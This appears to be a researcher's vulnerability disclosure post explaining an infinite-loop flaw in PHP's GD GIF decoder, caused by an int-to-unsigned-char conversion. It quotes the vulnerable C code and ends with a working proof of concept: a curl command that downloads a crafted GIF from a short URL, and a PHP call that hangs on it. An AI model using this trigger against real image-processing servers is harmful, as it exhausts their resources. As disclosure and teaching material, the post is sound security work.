Author: Orange Tsai(@orange_8361) from DEVCORE
Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!
All PHP version
The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte_
460 do {
461 sd->firstcode = sd->oldcode =
461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463 } while (sd->firstcode == sd->clear_code);
Function GetCode
is just a wrapper, and GetCode_ do the real stuff.
376 static int
377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378 {
379 int i, j, ret;
380 unsigned char count;
...
399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400 scd->done = TRUE;
...
405 }
GetCode_
call GetDataBlock to read data from GIF!
332 static int
333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334 {
335 unsigned char count;
336
336 if (! ReadOK(fd,&count,1)) {
338 return -1;
339 }
340
341 *ZeroDataBlockP = count == 0;
342
343 if ((count != 0) && (! ReadOK(fd, buf, count))) {
344 return -1;
345 }
346
347 return count;
348 }
OK, here are all vulnerable code, can you spot the vulnerability? :P
The bug relied on the type conversion from int
to unsigned char
. As you can see:
If GetDataBlock_
return -1
, scd->done
in line 400 will set to True
, and stop the while-loop. But it will never be executed because the definition of count
is unsigned char
, it’s always be a positive from 0 to 255.
So the result is, one single GIF can make an infinite loop and exhausted the server resource.
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here...
It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...
I will disclose more 0-days in the future!